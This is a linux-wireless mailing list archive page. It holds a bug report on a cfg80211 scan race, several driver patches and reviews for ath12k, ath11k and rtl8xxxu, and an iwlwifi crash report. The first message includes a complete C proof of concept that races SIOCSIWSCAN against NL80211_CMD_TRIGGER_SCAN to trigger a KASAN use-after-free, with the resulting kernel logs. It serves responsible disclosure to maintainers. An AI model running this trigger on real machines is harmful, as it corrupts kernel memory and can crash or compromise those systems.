Thanks for this fix — the memory leak on the essid_len check failure
path is clearly a bug.

I came across an automated AI code review of this function on the Sashiko
platform[1] that identified a pre-existing race condition in this code
path, and I was able to independently verify it triggers a real
KASAN-detected use-after-free by testing with the mac80211_hwsim driver
in QEMU.

TL;DR: The lockless `rdev->scan_req` check in
cfg80211_wext_siwscan() races with nl80211_trigger_scan().  I was able
to trigger a KASAN slab-use-after-free in ieee80211_scan_work via a
barrier-synchronized two-thread race between SIOCSIWSCAN and
NL80211_CMD_TRIGGER_SCAN.

(This is a pre-existing issue, not introduced by your patch — your fix
is still correct.)

 > diff --git a/net/wireless/scan.c b/net/wireless/scan.c
 > @@ -3612,8 +3612,10 @@ int cfg80211_wext_siwscan(struct net_device *dev,
 >      /* translate "Scan for SSID" request */
 >      if (wreq) {
 >          if (wrqu->data.flags & IW_SCAN_THIS_ESSID) {
 > -            if (wreq->essid_len > IEEE80211_MAX_SSID_LEN)
 > -                return -EINVAL;
 > +            if (wreq->essid_len > IEEE80211_MAX_SSID_LEN) {
 > +                err = -EINVAL;
 > +                goto out;
 > +            }

This fix is correct — the old code leaked `creq`.  However, earlier in
the same function (around line 3530):

     if (rdev->scan_req || rdev->scan_msg)
         return -EBUSY;

This check is done WITHOUT holding the wiphy mutex.  Meanwhile,
nl80211_trigger_scan() acquires the wiphy via `pre_doit` before setting
`rdev->scan_req`.  The race is:

    Thread A (wext)          |   Thread B (nl80211)
                             |
    check rdev->scan_req     |   (wiphy lock acquired by pre_doit)
    → NULL, proceeds         |   check rdev->scan_req → NULL
                             |   set rdev->scan_req = req_B
                             |   rdev_scan(rdev, req_B)
    acquire wiphy lock        |
    rdev->scan_req = req_A    |   ← req_B pointer LOST, overwritten
    rdev_scan(rdev, req_A)   |

When the scan completes, `cfg80211_scan_done()` detects the mismatch:

```
WARNING: net/wireless/scan.c:1199: intreq != rdev->scan_req
          && intreq != rdev->int_scan_req
```

I was able to reproduce this reliably using mac80211_hwsim with a
barrier-synchronized two-thread PoC.  The kernel was 7.1.0 with
CONFIG_KASAN=y, CONFIG_CFG80211_WEXT=y, CONFIG_MAC80211_HWSIM=y.

The WARN_ON from cfg80211_scan_done():
```
[  619.100917][   T27] ------------[ cut here ]------------
[  619.101461][   T27] intreq != rdev->scan_req && intreq != 
rdev->int_scan_req
[  619.101465][   T27] WARNING: net/wireless/scan.c:1199 at 
cfg80211_scan_done+0x19e/0x530
[  619.114641][   T27] Call Trace:
[  619.115207][   T27]  ? __pfx_cfg80211_scan_done+0x10/0x10
[  619.116536][   T27]  __ieee80211_scan_completed+0x34c/0xe50
[  619.117049][   T27]  ieee80211_scan_work+0x3f6/0x2090
[  619.119819][   T27]  cfg80211_wiphy_work+0x2c3/0x550
[  619.121271][   T27]  process_one_work+0xa0b/0x1c50
[  619.122261][   T27]  worker_thread+0x6df/0xf30
```

Followed by a KASAN slab-use-after-free in ieee80211_scan_work:
```
[  614.882691][ T1114] BUG: KASAN: slab-use-after-free in 
ieee80211_scan_work+0x1db4/0x2090
[  614.883408][ T1114] Read of size 4 at addr ffff88811a135024 by task 
kworker/u10:4/1114

[  614.900665][ T1114] Allocated by task 9513:
[  614.901042][ T1114]  kasan_save_stack+0x33/0x60
[  614.902284][ T1114]  __kmalloc_noprof+0x31e/0x7f0
[  614.902719][ T1114]  nl80211_trigger_scan+0x4e3/0x1fb0
[  614.903701][ T1114]  genl_rcv_msg+0x561/0x800

[  614.907688][ T1114] Freed by task 1114:
[  614.908036][ T1114]  kasan_save_stack+0x33/0x60
[  614.909741][ T1114]  kfree+0x165/0x710
[  614.910085][ T1114]  ___cfg80211_scan_done+0x44b/0x9a0

[  614.913247][ T1114] The buggy address is located 36 bytes inside of
[  614.913247][ T1114]  freed 2048-byte region [ffff88811a135000, 
ffff88811a135800)
```

The PoC uses pthread barrier synchronization to force both paths through
the lockless check simultaneously.  It runs on wlan0 created by
mac80211_hwsim (modprobe mac80211_hwsim radios=2).

Full PoC (compile with:  gcc -Wall -o poc poc.c -lpthread):
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
#include <linux/wireless.h>

static char ifname[IFNAMSIZ] = "wlan0";
static int nl80211_fid = -1;
static int nl_sock = -1;
static volatile int stop = 0;
static int wext_ok, nl_ok;
static pthread_barrier_t barrier_go;

static int resolve_nl80211(void)
{
     char buf[4096];
     struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
     struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
     struct genlmsghdr *genlh;
     struct nlattr *attr;
     int ret;

     memset(buf, 0, sizeof(buf));
     nlh->nlmsg_len = NLMSG_HDRLEN + GENL_HDRLEN +
                      NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
     nlh->nlmsg_type = GENL_ID_CTRL;
     nlh->nlmsg_flags = NLM_F_REQUEST;
     nlh->nlmsg_seq = 1;
     genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
     genlh->cmd = CTRL_CMD_GETFAMILY;
     genlh->version = 1;
     attr = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
     attr->nla_type = CTRL_ATTR_FAMILY_NAME;
     attr->nla_len = NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
     memcpy((char *)attr + NLA_HDRLEN, NL80211_GENL_NAME,
            sizeof(NL80211_GENL_NAME));
     ret = sendto(nl_sock, buf, nlh->nlmsg_len, 0,
              (struct sockaddr *)&sa, sizeof(sa));
     if (ret < 0) return -1;
     ret = recv(nl_sock, buf, sizeof(buf), 0);
     if (ret < 0) return -1;
     nlh = (struct nlmsghdr *)buf;
     if (!NLMSG_OK(nlh, (unsigned int)ret)) return -1;
     genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
     char *data = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
     int left = ret - (data - (char *)nlh);
     while (left >= (int)sizeof(struct nlattr)) {
         attr = (struct nlattr *)data;
         int al = NLA_ALIGN(attr->nla_len);
         if (al > left || al < (int)sizeof(struct nlattr)) break;
         if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
             nl80211_fid = *(uint16_t *)((char *)attr + NLA_HDRLEN);
             return 0;
         }
         data += al; left -= al;
     }
     return -1;
}

/* Send NL80211_CMD_TRIGGER_SCAN via generic netlink */
static int send_nlscan(void)
{
     char buf[512];
     struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
     int ifindex = if_nametoindex(ifname);
     if (ifindex <= 0) return -1;

     struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
     struct genlmsghdr *genlh;
     struct nlattr *attr;

     memset(buf, 0, sizeof(buf));
     nlh->nlmsg_type = nl80211_fid;
     nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
     nlh->nlmsg_seq = 1;
     genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
     genlh->cmd = NL80211_CMD_TRIGGER_SCAN;
     genlh->version = 1;

     char *ptr = buf + NLMSG_HDRLEN + GENL_HDRLEN;
     attr = (struct nlattr *)ptr;
     attr->nla_type = NL80211_ATTR_IFINDEX;
     attr->nla_len = NLA_HDRLEN + 4;
     *(int *)(ptr + NLA_HDRLEN) = ifindex;
     ptr += NLA_ALIGN(attr->nla_len);

     nlh->nlmsg_len = ptr - buf;
     return sendto(nl_sock, buf, nlh->nlmsg_len, 0,
               (struct sockaddr *)&sa, sizeof(sa));
}

/* nl80211 thread: waits for barrier, fires scan request */
static void *nl_thread(void *arg)
{
     (void)arg;
     cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(1, &cpus);
     sched_setaffinity(0, sizeof(cpus), &cpus);
     while (!stop) {
         pthread_barrier_wait(&barrier_go);
         if (stop) break;
         /*
          * nl80211_trigger_scan() holds wiphy via pre_doit.
          * rdev->scan_req check at line ~11115 — lockless with
          * respect to the wext path.
          */
         if (send_nlscan() == 0)
             __sync_fetch_and_add(&nl_ok, 1);
         /* drain the ACK */
         char buf[4096];
         struct timeval tv = { .tv_sec = 5 };
         setsockopt(nl_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
         recv(nl_sock, buf, sizeof(buf), 0);
     }
     return NULL;
}

int main(void)
{
     pthread_t nt;
     struct sockaddr_nl sa;

     setbuf(stdout, NULL);
     signal(SIGPIPE, SIG_IGN);

     printf("PoC: wext vs nl80211 scan race (barrier sync)\n\n");

     /* bring wlan0 up */
     int s = socket(AF_INET, SOCK_DGRAM, 0);
     struct ifreq ifr;
     memset(&ifr, 0, sizeof(ifr));
     strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
     ioctl(s, SIOCGIFFLAGS, &ifr);
     ifr.ifr_flags |= IFF_UP;
     ioctl(s, SIOCSIFFLAGS, &ifr);
     close(s);

     /* set up generic netlink for nl80211 */
     nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
     memset(&sa, 0, sizeof(sa));
     sa.nl_family = AF_NETLINK;
     bind(nl_sock, (struct sockaddr *)&sa, sizeof(sa));
     if (resolve_nl80211() < 0) {
         fprintf(stderr, "nl80211 resolve failed\n");
         return 1;
     }
     printf("nl80211 family: %d\n", nl80211_fid);

     pthread_barrier_init(&barrier_go, NULL, 2);
     pthread_create(&nt, NULL, nl_thread, NULL);

     cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(0, &cpus);
     sched_setaffinity(0, sizeof(cpus), &cpus);

     for (int i = 0; i < 20000; i++) {
         /*
          * Barrier: fire both paths simultaneously.
          *
          * wext: checks rdev->scan_req at scan.c:~3530
          *       WITHOUT wiphy lock → lockless relative to nl80211.
          * nl:   holds wiphy from pre_doit.
          */
         pthread_barrier_wait(&barrier_go);

         /* wext path: SIOCSIWSCAN with IW_SCAN_THIS_ESSID */
         int fd = socket(AF_INET, SOCK_DGRAM, 0);
         if (fd >= 0) {
             struct iwreq wrq;
             struct iw_scan_req sr;
             memset(&wrq, 0, sizeof(wrq));
             memset(&sr, 0, sizeof(sr));
             strncpy(wrq.ifr_name, ifname, IFNAMSIZ - 1);
             sr.essid_len = 5;
             memcpy(sr.essid, "test", 5);
             wrq.u.data.flags = IW_SCAN_THIS_ESSID;
             wrq.u.data.length = sizeof(sr);
             wrq.u.data.pointer = (caddr_t)&sr;
             if (ioctl(fd, SIOCSIWSCAN, &wrq) == 0)
                 wext_ok++;
             close(fd);
         }
         if (i % 2000 == 1999)
             printf("[%d] wext=%d nl=%d\n", i + 1, wext_ok, nl_ok);
     }

     stop = 1;
     pthread_barrier_wait(&barrier_go);
     pthread_join(nt, NULL);

     printf("\nFinal: wext=%d nl=%d\n", wext_ok, nl_ok);
     if (wext_ok > 0 && nl_ok > 0) {
         printf("RACE HIT! Both scan paths succeeded.\n"
                "Run: dmesg | grep -E 'WARNING|KASAN|cfg80211_scan'\n");
         fflush(stdout);
         sleep(3);
         system("dmesg | grep -iE 'WARNING|KASAN|cfg80211_scan' | tail 
-20");
     }
     close(nl_sock);
     return 0;
}
```

[1] 
https://sashiko.dev/#/patchset/a1be7eea4da0da18f90589af252bb76a18a61978.1781984889.git.christophe.jaillet%40wanadoo.fr

Thanks,
Xiao


^ permalink raw reply

* Re: [PATCH] wifi: ath12k: fix survey indexing across bands
From: Rameshkumar Sundaram @ 2026-06-22  5:11 UTC (permalink / raw)
  To: Matthew Leach, Jeff Johnson, Vasanthakumar Thiagarajan,
	Baochen Qiang, Ramya Gnanasekar, Karthikeyan Periyasamy
  Cc: Kalle Valo, Pradeep Kumar Chitrapu, P Praneesh, Sriram R,
	linux-wireless, ath12k, linux-kernel, kernel
In-Reply-To: <20260617-ath12-survey-band-fix-v1-1-e7d9555bb478@collabora.com>

On 6/17/2026 3:48 PM, Matthew Leach wrote:
> When running 'iw dev wlan0 survey dump' the values for the channel busy
> time have the same sequence across bands. This is caused by indexing
> into the ath12k survey array using a band-local index rather than the
> global index passed by mac80211. This results in surveys for 5 GHz and 6
> GHz channels returning values from 2.4 GHz slots, making the survey
> unusable on those bands.
> 
> Fix by indexing into ar->survey[] using the original index passed by
> mac80211.
> 
> Band busy-times Before this fix:
> 
> 2.4 GHz: 9, 2, 2, 2, 4, 2, 10, 16, 4, 12, 5
> 5 GHz:   9, 2, 2, 2, 4, 2, 10, 16, 4, 12, 5
> 6 GHz:   9, 2, 2, 2, 4, 2, 10, 16, 4, 12, 5
> 
> After this fix, times are independent:
> 
> 2.4 GHz: 23, 5,  5,  12, 2,   12,  26,  5,   3,  1,  27
> 5 GHz:   30, 40, 29, 27, 118, 118, 112, 120, 11, 11, 11
> 6 GHz:   1,  0,  0,  0,  0,   0,   0,   0,   0,  0,  1
> 
> Tested-on: wcn7850 hw2.0 PCI WLAN.IOE_HMT.1.1-00018-QCAHMTSWPL_V1.0_V2.0_SILICONZ-1
> 
> Fixes: d889913205cf ("wifi: ath12k: driver for Qualcomm Wi-Fi 7 devices")


The Fixes: tag is probably too broad,

4f242b1d6996 ("wifi: ath12k: support get_survey mac op for single 
wiphy") changed ath12k_mac_op_get_survey() for single-wiphy handling and 
moved survey lookup after band index adjustment.


> Signed-off-by: Matthew Leach <matthew.leach@collabora.com>
> ---
>   drivers/net/wireless/ath/ath12k/mac.c | 3 ++-
>   1 file changed, 2 insertions(+), 1 deletion(-)
> 
> diff --git a/drivers/net/wireless/ath/ath12k/mac.c b/drivers/net/wireless/ath/ath12k/mac.c
> index 2cff9485c95a..9474d7e70823 100644
> --- a/drivers/net/wireless/ath/ath12k/mac.c
> +++ b/drivers/net/wireless/ath/ath12k/mac.c
> @@ -13351,6 +13351,7 @@ int ath12k_mac_op_get_survey(struct ieee80211_hw *hw, int idx,
>   	struct ath12k *ar;
>   	struct ieee80211_supported_band *sband;
>   	struct survey_info *ar_survey;
> +	int survey_index = idx;
>   
>   	lockdep_assert_wiphy(hw->wiphy);
>   
> @@ -13385,7 +13386,7 @@ int ath12k_mac_op_get_survey(struct ieee80211_hw *hw, int idx,
>   		return -ENOENT;
>   	}
>   
> -	ar_survey = &ar->survey[idx];
> +	ar_survey = &ar->survey[survey_index];


There is an existing discussion on similar lines, see [1].

This could break survey dump on multi-radio/single-wiphy setups, for 
example split-radio QCN9274 configurations.

I would suggest to move the survey results from ar to ath12k_hw, since 
not all bands in ar->survey[] are effectively utilized for a multi‑radio 
wiphy. In that model, this patch's approach of preserving the original 
idx would make sense, and freq_to_idx() should also stop skipping bands 
based on ar->mac.sbands[] so that WMI population uses the same global index.

  -        if (!ar->mac.sbands[band].channels)
  -            continue;


[1] https://lore.kernel.org/linux-wireless/aYtRBg498h_aLPBK@pilgrim/

--
Ramesh

^ permalink raw reply

* Re: [PATCH ath-next] wifi: ath12k: advertise ieee_link_id in vdev start MLO params
From: Manish Dharanenthiran @ 2026-06-22  3:32 UTC (permalink / raw)
  To: Rameshkumar Sundaram, ath12k
  Cc: linux-wireless, Hari Naraayana Desikan Kannan, Karthik M
In-Reply-To: <c5feff91-9303-492c-a031-1b2a1e7f3b7c@oss.qualcomm.com>



On 6/19/2026 11:58 PM, Rameshkumar Sundaram wrote:
> On 6/19/2026 11:25 AM, Manish Dharanenthiran wrote:
>> Firmware builds the AP MLD partner profile from the hw_link_id passed in
>> the vdev start parameters. However, hw_link_id is not always the same as
>> the logical per-MLD ieee_link_id, since ieee_link_id is assigned per MLD
>> and not per pdev.
>>
>> This matters in mixed MLO and SLO setups. For example:
>>
>>    MLD 1 - 5 GHz + 6 GHz (2-link MLO): ieee_link_id 0 and 1
>>    MLD 2 - 6 GHz only    (1-link SLO): ieee_link_id 0
>>    MLD 3 - 5 GHz only    (1-link SLO): ieee_link_id 0
>>
>> The same physical 6 GHz radio can use ieee_link_id 1 for one
>> MLD and ieee_link_id 0 for another. Pass the correct ieee_link_id to
>> firmware so it can build accurate per-STA profile elements.
>>
>> Add ieee_link_id to wmi_vdev_start_mlo_params for the self link and to
>> wmi_partner_link_info for each partner link. Populate these fields in
>> ath12k_mac_mlo_get_vdev_args() from the corresponding vdev link_id
>> before encoding the WMI command.
>>
>> Introduce two new flags in ML params to indicate to firmware when
>> the new fields are valid:
>>
>>    ATH12K_WMI_FLAG_MLO_IEEE_LINK_IDX_VALID         BIT(18) for the 
>> self link
>>    ATH12K_WMI_FLAG_MLO_IEEE_LINK_IDX_VALID_PARTNER BIT(19) for partner 
>> links
>>
>> Firmware parses ieee_link_id only when the matching flag is set.
>>
>> Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01243-QCAHKSWPL_SILICONZ-1
>>
>> Co-developed-by: Hari Naraayana Desikan Kannan 
>> <hari.kannan@oss.qualcomm.com>
>> Signed-off-by: Hari Naraayana Desikan Kannan 
>> <hari.kannan@oss.qualcomm.com>
>> Co-developed-by: Karthik M <karthik.m@oss.qualcomm.com>
>> Signed-off-by: Karthik M <karthik.m@oss.qualcomm.com>
>> Signed-off-by: Manish Dharanenthiran 
>> <manish.dharanenthiran@oss.qualcomm.com>
>> ---
>>   drivers/net/wireless/ath/ath12k/mac.c |  3 +++
>>   drivers/net/wireless/ath/ath12k/wmi.c | 32 +++++++++++++++++++ 
>> +------------
>>   drivers/net/wireless/ath/ath12k/wmi.h |  7 +++++++
>>   3 files changed, 30 insertions(+), 12 deletions(-)
>>
>> diff --git a/drivers/net/wireless/ath/ath12k/mac.c b/drivers/net/ 
>> wireless/ath/ath12k/mac.c
>> index af354bef5c0d..773ecd6da8e5 100644
>> --- a/drivers/net/wireless/ath/ath12k/mac.c
>> +++ b/drivers/net/wireless/ath/ath12k/mac.c
>> @@ -11253,6 +11253,8 @@ ath12k_mac_mlo_get_vdev_args(struct 
>> ath12k_link_vif *arvif,
>>       ml_arg->assoc_link = arvif->is_sta_assoc_link;
>> +    ml_arg->ieee_link_id = arvif->link_id;
>> +
>>       partner_info = ml_arg->partner_info;
>>       links = ahvif->links_map;
>> @@ -11276,6 +11278,7 @@ ath12k_mac_mlo_get_vdev_args(struct 
>> ath12k_link_vif *arvif,
>>           partner_info->vdev_id = arvif_p->vdev_id;
>>           partner_info->hw_link_id = arvif_p->ar->pdev->hw_link_id;
>> +        partner_info->ieee_link_id = arvif_p->link_id;
>>           ether_addr_copy(partner_info->addr, link_conf->addr);
>>           ml_arg->num_partner_links++;
>>           partner_info++;
>> diff --git a/drivers/net/wireless/ath/ath12k/wmi.c b/drivers/net/ 
>> wireless/ath/ath12k/wmi.c
>> index 84a31b953db8..a0e8b5678ae3 100644
>> --- a/drivers/net/wireless/ath/ath12k/wmi.c
>> +++ b/drivers/net/wireless/ath/ath12k/wmi.c
>> @@ -1228,10 +1228,14 @@ int ath12k_wmi_vdev_start(struct ath12k *ar, 
>> struct wmi_vdev_start_req_arg *arg,
>>                      le32_encode_bits(arg->ml.mcast_link,
>>                               ATH12K_WMI_FLAG_MLO_MCAST_VDEV) |
>>                      le32_encode_bits(arg->ml.link_add,
>> -                            ATH12K_WMI_FLAG_MLO_LINK_ADD);
>> +                            ATH12K_WMI_FLAG_MLO_LINK_ADD) |
>> +                   cpu_to_le32(ATH12K_WMI_FLAG_MLO_IEEE_LINK_IDX_VALID);
>> -        ath12k_dbg(ar->ab, ATH12K_DBG_WMI, "vdev %d start ml flags 
>> 0x%x\n",
>> -               arg->vdev_id, ml_params->flags);
>> +        ml_params->ieee_link_id = cpu_to_le32(arg->ml.ieee_link_id);
>> +
>> +        ath12k_dbg(ar->ab, ATH12K_DBG_WMI, "vdev %d start link_id %d 
>> ml flags 0x%x\n",
> 
> %u for vdev and link_id ?
> Also this part of change is not describe in commit text.
> 
>> +               arg->vdev_id, arg->ml.ieee_link_id,
>> +               le32_to_cpu(ml_params->flags));
>>           ptr += sizeof(*ml_params);
>> @@ -1244,19 +1248,23 @@ int ath12k_wmi_vdev_start(struct ath12k *ar, 
>> struct wmi_vdev_start_req_arg *arg,
>>           partner_info = ptr;
>>           for (i = 0; i < arg->ml.num_partner_links; i++) {
>> +            struct wmi_ml_partner_info *pinfo = &arg- 
>> >ml.partner_info[i];
>> +
>>               partner_info->tlv_header =
>>                   ath12k_wmi_tlv_cmd_hdr(WMI_TAG_MLO_PARTNER_LINK_PARAMS,
>>                                  sizeof(*partner_info));
>> -            partner_info->vdev_id =
>> -                cpu_to_le32(arg->ml.partner_info[i].vdev_id);
>> -            partner_info->hw_link_id =
>> -                cpu_to_le32(arg->ml.partner_info[i].hw_link_id);
>> +            partner_info->vdev_id = cpu_to_le32(pinfo->vdev_id);
>> +            partner_info->hw_link_id = cpu_to_le32(pinfo->hw_link_id);
>>               ether_addr_copy(partner_info->vdev_addr.addr,
>> -                    arg->ml.partner_info[i].addr);
>> -
>> -            ath12k_dbg(ar->ab, ATH12K_DBG_WMI, "partner vdev %d 
>> hw_link_id %d macaddr%pM\n",
>> -                   partner_info->vdev_id, partner_info->hw_link_id,
>> -                   partner_info->vdev_addr.addr);
>> +                    pinfo->addr);
>> +            partner_info->flags =
>> +                
>> cpu_to_le32(ATH12K_WMI_FLAG_MLO_IEEE_LINK_IDX_VALID_PARTNER);
>> +            partner_info->ieee_link_id = cpu_to_le32(pinfo- 
>> >ieee_link_id);
>> +
>> +            ath12k_dbg(ar->ab, ATH12K_DBG_WMI, "partner vdev %d 
>> hw_link_id %d macaddr %pM link_id %d ml flags 0x%x\n",
> 
> %u for vdev_id, hw_link_id  and ieee_link_id ?
> 

Agree. But, there is a mixed usage of %d & %u for both vdev and link_id 
in this file. Will address along with other comments, if any.

[snip]


> 
> -- 
> Ramesh

Regards
Manish Dharanenthiran

^ permalink raw reply

* [PATCH] wifi: ath11k: fix resource leak on error in ext IRQ setup
From: ZhaoJinming @ 2026-06-22  2:56 UTC (permalink / raw)
  To: Jeff Johnson; +Cc: linux-wireless, ath11k, linux-kernel, ZhaoJinming

In ath11k_ahb_config_irq(), when a CE request_irq() fails, the function
returns the error immediately without freeing the CE IRQs that were
successfully registered in previous loop iterations. The probe error
path does not call ath11k_ahb_free_irq() either, so the previously
registered CE IRQ handlers remain attached to the interrupt lines and
are never released.

In ath11k_ahb_config_ext_irq(), when an external request_irq() fails,
the error is only logged and the loop continues. The function then
returns 0 indicating success, leaving the device in a partially
configured state where some external IRQs are not registered. This
causes enable_irq()/disable_irq()/free_irq() to be called on
unregistered IRQs during runtime and remove/shutdown, triggering
WARN_ON(!desc->action), and missing interrupt handlers lead to data
loss.

Additionally, if alloc_netdev_dummy() fails for a later IRQ group, the
function returns -ENOMEM without freeing the ext IRQs and napi_ndev
that were successfully set up for earlier groups.

Fix all three issues: propagate the error up to the caller and unwind
all successfully registered IRQs and allocated resources on failure.

Signed-off-by: ZhaoJinming <zhaojinming@uniontech.com>
---
 drivers/net/wireless/ath/ath11k/ahb.c | 30 ++++++++++++++++++++++++---
 1 file changed, 27 insertions(+), 3 deletions(-)

diff --git a/drivers/net/wireless/ath/ath11k/ahb.c b/drivers/net/wireless/ath/ath11k/ahb.c
index f566d699d074..041c0fefe8c8 100644
--- a/drivers/net/wireless/ath/ath11k/ahb.c
+++ b/drivers/net/wireless/ath/ath11k/ahb.c
@@ -536,8 +536,10 @@ static int ath11k_ahb_config_ext_irq(struct ath11k_base *ab)
 		irq_grp->grp_id = i;
 
 		irq_grp->napi_ndev = alloc_netdev_dummy(0);
-		if (!irq_grp->napi_ndev)
-			return -ENOMEM;
+		if (!irq_grp->napi_ndev) {
+			irq_grp->num_irq = 0;
+			goto err_request_irq;
+		}
 
 		netif_napi_add(irq_grp->napi_ndev, &irq_grp->napi,
 			       ath11k_ahb_ext_grp_napi_poll);
@@ -600,11 +602,25 @@ static int ath11k_ahb_config_ext_irq(struct ath11k_base *ab)
 			if (ret) {
 				ath11k_err(ab, "failed request_irq for %d\n",
 					   irq);
+				irq_grp->num_irq = j;
+				goto err_request_irq;
 			}
 		}
 	}
 
 	return 0;
+
+err_request_irq:
+	for ( ; i >= 0; i--) {
+		irq_grp = &ab->ext_irq_grp[i];
+		for (j = irq_grp->num_irq - 1; j >= 0; j--)
+			free_irq(ab->irq_num[irq_grp->irqs[j]], irq_grp);
+		if (irq_grp->napi_ndev) {
+			netif_napi_del(&irq_grp->napi);
+			free_netdev(irq_grp->napi_ndev);
+		}
+	}
+	return ret;
 }
 
 static int ath11k_ahb_config_irq(struct ath11k_base *ab)
@@ -629,8 +645,16 @@ static int ath11k_ahb_config_irq(struct ath11k_base *ab)
 		ret = request_irq(irq, ath11k_ahb_ce_interrupt_handler,
 				  IRQF_TRIGGER_RISING, irq_name[irq_idx],
 				  ce_pipe);
-		if (ret)
+		if (ret) {
+			ath11k_err(ab, "failed request_irq for %d\n", irq);
+			for (i--; i >= 0; i--) {
+				if (ath11k_ce_get_attr_flags(ab, i) & CE_ATTR_DIS_INTR)
+					continue;
+				free_irq(ab->irq_num[ATH11K_IRQ_CE0_OFFSET + i],
+					 &ab->ce.ce_pipe[i]);
+			}
 			return ret;
+		}
 
 		ab->irq_num[irq_idx] = irq;
 	}
-- 
2.20.1


^ permalink raw reply related

* [PATCH rtw-next] wifi: rtl8xxxu: 8723bu: remove reference of non-existing firmware rtl8723bu_bt.bin
From: Ping-Ke Shih @ 2026-06-22  1:54 UTC (permalink / raw)
  To: linux-wireless, Jes.Sorensen

A report from [1] that firmware is missing in linux-firmware repository.
However, there is no specific firmware for RTL8723BU for Bluetooth enabled.
Remove the unnecessary reference of firmware file.

[1] https://github.com/rtlwifi-linux/rtlwifi-next/issues/20

Signed-off-by: Ping-Ke Shih <pkshih@realtek.com>
---
 drivers/net/wireless/realtek/rtl8xxxu/8723b.c | 11 +----------
 drivers/net/wireless/realtek/rtl8xxxu/core.c  |  1 -
 2 files changed, 1 insertion(+), 11 deletions(-)

diff --git a/drivers/net/wireless/realtek/rtl8xxxu/8723b.c b/drivers/net/wireless/realtek/rtl8xxxu/8723b.c
index e314ef991b38..24c6d8ae76ec 100644
--- a/drivers/net/wireless/realtek/rtl8xxxu/8723b.c
+++ b/drivers/net/wireless/realtek/rtl8xxxu/8723b.c
@@ -483,16 +483,7 @@ static int rtl8723bu_parse_efuse(struct rtl8xxxu_priv *priv)
 
 static int rtl8723bu_load_firmware(struct rtl8xxxu_priv *priv)
 {
-	const char *fw_name;
-	int ret;
-
-	if (priv->enable_bluetooth)
-		fw_name = "rtlwifi/rtl8723bu_bt.bin";
-	else
-		fw_name = "rtlwifi/rtl8723bu_nic.bin";
-
-	ret = rtl8xxxu_load_firmware(priv, fw_name);
-	return ret;
+	return rtl8xxxu_load_firmware(priv, "rtlwifi/rtl8723bu_nic.bin");
 }
 
 static void rtl8723bu_init_phy_bb(struct rtl8xxxu_priv *priv)
diff --git a/drivers/net/wireless/realtek/rtl8xxxu/core.c b/drivers/net/wireless/realtek/rtl8xxxu/core.c
index 646fe76b086e..4e8a4769603c 100644
--- a/drivers/net/wireless/realtek/rtl8xxxu/core.c
+++ b/drivers/net/wireless/realtek/rtl8xxxu/core.c
@@ -37,7 +37,6 @@ MODULE_FIRMWARE("rtlwifi/rtl8192cufw_B.bin");
 MODULE_FIRMWARE("rtlwifi/rtl8192cufw_TMSC.bin");
 MODULE_FIRMWARE("rtlwifi/rtl8192eu_nic.bin");
 MODULE_FIRMWARE("rtlwifi/rtl8723bu_nic.bin");
-MODULE_FIRMWARE("rtlwifi/rtl8723bu_bt.bin");
 MODULE_FIRMWARE("rtlwifi/rtl8188fufw.bin");
 MODULE_FIRMWARE("rtlwifi/rtl8710bufw_SMIC.bin");
 MODULE_FIRMWARE("rtlwifi/rtl8710bufw_UMC.bin");

base-commit: 972c4dd19cb92e03d75b66c426cfade07582a1ba
-- 
2.25.1


^ permalink raw reply related

* iwlwifi/iwldvm: firmware failure followed by NULL pointer dereference during reprobe on Intel Centrino Advanced-N 6235
From: Alexander Pankov @ 2026-06-21 18:25 UTC (permalink / raw)
  To: linux-wireless

[-- Attachment #1: Type: text/plain, Size: 1414 bytes --]

Hello,

I encountered a kernel crash involving iwlwifi/iwldvm on an HP
EliteBook Revolve 810 G1.

Hardware:

HP EliteBook Revolve 810 G1
Intel Centrino Advanced-N 6235 (8086:088e)
BIOS F.67

Software:

Kubuntu 26.04
Linux kernel:  7.0.13-070013-generic

The wireless firmware appears to fail first, producing multiple FW
Error messages:

iwlwifi 0000:03:00.0: Command REPLY_ADD_STA failed: FW Error
iwlwifi 0000:03:00.0: Command REPLY_TXFIFO_FLUSH failed: FW Error
iwlwifi 0000:03:00.0: Command REPLY_RXON failed: FW Error

The driver then attempts recovery through:

Workqueue: events iwl_trans_reprobe_wk [iwlwifi]

A warning is triggered:

bad state = 0
WARNING: drivers/net/wireless/intel/iwlwifi/iwl-trans.c:714
RIP: iwl_trans_wait_tx_queues_empty+0x2b/0x40 [iwlwifi]

Call trace includes:

iwlagn_mac_flush [iwldvm]
iwl_op_mode_dvm_stop [iwldvm]
iwl_drv_stop [iwlwifi]
iwl_trans_reprobe_wk [iwlwifi]

After that the kernel crashes with:

BUG: kernel NULL pointer dereference, address: 0000000000000000
#PF: supervisor instruction fetch in kernel mode

The crash happened while the system was idle. The machine was
associated with an access point and no explicit suspend/resume action
was performed immediately before the failure.

The complete kernel log is attached.

lspci and iwlwifi are also attached.

Please let me know if additional debugging information or firmware
details would be useful.

Thanks.

[-- Attachment #2: iwlwifi.txt --]
[-- Type: text/plain, Size: 33216 bytes --]

filename:       /lib/modules/7.0.13-070013-generic/kernel/drivers/net/wireless/intel/iwlwifi/iwlwifi.ko.zst
license:        GPL
description:    Intel(R) Wireless WiFi driver for Linux
